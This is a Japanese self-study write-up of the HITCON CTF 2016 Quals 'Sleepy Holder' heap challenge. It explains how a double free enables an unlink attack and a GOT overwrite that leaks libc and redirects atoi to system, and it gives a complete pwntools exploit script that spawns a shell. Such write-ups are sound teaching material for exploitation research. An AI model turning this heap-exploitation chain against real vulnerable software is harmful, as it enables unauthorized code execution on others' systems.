HITCON CTF 2016 Quals Sleepy Holder

自習用に解きました。

概要

同大会のSecret Holderの改良版。

  • Keep secret
    • small, big, hugeのサイズから選んでチャンクを確保。
  • Wipe secret
    • small, bigのうちから1つfree。
    • double free脆弱性あり
  • Renew secret
    • small, bigの中からKeep済みのものを一つを書き込み。
      ちなみにsmall, bigのチャンクはフラグ管理されており、フラグが立った状態でKeep, 経っていない状態でRenewは出来ない。

checksecより

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

exploit

double free脆弱性を利用してunlink attackからのGOT Overwriteでlibcのリーク&system関数の実行をする。
手順としては

keep(small, 'A' * 0x28)
keep(big, 'B' * 0xfa0)
wipe(small)

の順番でkeep, wipeを実行することのより次のwipe(big)でヒープ上でunlinkが発生する状態にする。
続いて、

wipe(small)
keep(huge, 'A' * 8)
wipe(small)
keep(small, fake_chunk)
wipe(big)

の順番で実行することによりunlink attackが成功する。
なぜかというと、最初のsmall, hugeのwipe処理によりsmallチャンクがfastbinからsmallbinに入る。次にもう一度smallをwipeすることでsmallをfastbinに入れ(この時のチャンクはfastbinには入っていないのでdouble free corruptionが発生しない。) 次のsmallのkeepでbigチャンクのprev_inuseが立つのを防いでいる。これらの処理によってsmall, bigのフラグが立った状態でかつbigのprev_inuseが0となっているためunlink attackが可能となる。
unlink attackが成功したら、GOTOverwriteによりfreeをputsに書き換え、適当なGOT領域をfree(puts)するようにrenewを実行すればアドレスのリークが出来る。
アドレスのリークが出来たらatoiをsystemに書き換えてメニュー画面で文字列"sh"入力するとシェルが起動する。

以下がそのエクスプロイト

from pwn import *

context.terminal = 'screen'
binary = './sleepyholder'
libcName = './libc.so.6'

libc = ELF(libcName, False)
elf = ELF(binary, False)
# p = process(binary, aslr=False, env={'LD_PRELOAD': libcName})
p = process(binary, aslr=True, env={'LD_PRELOAD': libcName})

# gdb.attach(p)

def wait():
    p.recvuntil('3. Renew secret')

def keep(index, secret):
    p.sendline('1')
    p.recvuntil('What secret do you want to keep?')
    p.sendline(str(index))
    p.recvuntil('Tell me your secret')
    p.sendline(secret)

def wipe(index):
    p.sendline('2')
    p.recvuntil('Which Secret do you want to wipe?')
    p.sendline(str(index))

def renew(index, secret):
    p.sendline('3')
    p.recvuntil('Which Secret do you want to renew?')
    p.sendline(str(index))
    p.recvuntil('Tell me your secret:')
    p.send(secret)

small = 1
big = 2
huge = 3

wait()
keep(small, 'A' * 0x28)
wait()
keep(big, 'B' * 0xfa0)
wait()
wipe(small)
wait()
keep(huge, 'A' * 8)
wait()
wipe(small)

ptr = 0x6020d0
wait()
keep(small, p64(0x0) + p64(0x21) + p64(ptr - 0x18) + p64(ptr - 0x10) + p64(0x20))
wait()
wipe(big)
payload = ''
payload += '\x00' * 8
payload += p64(elf.got['free']) #big
payload += 'A' * 8 # huge
payload += p64(0x6020b8) # small
payload += p64((1 << 32) | 1)
wait()
renew(small, payload)
wait()
renew(big, p64(elf.plt['puts']))
renew(small, '\x00' * 8 + p64(elf.got['puts']))
wipe(big)
p.recvuntil('2. Big secret\n')
libcBase = u64(p.recvuntil('\n')[:-1] + '\x00' * 2) - libc.symbols['puts']
system = libcBase + libc.symbols['system']
print 'system: %s' % hex(system)

renew(small, '\x00' * 8 + p64(elf.got['atoi']) + 'A' * 0x10 + p64(1))
renew(big, p64(system))
p.sendline('sh\x00')

p.clean()
p.interactive()

参考

[HITCON CTF 2016 Quals] Sleepy Holder 300 | Naetw's blog

malloc.c source code [glibc/malloc/malloc.c] - Woboq Code Browser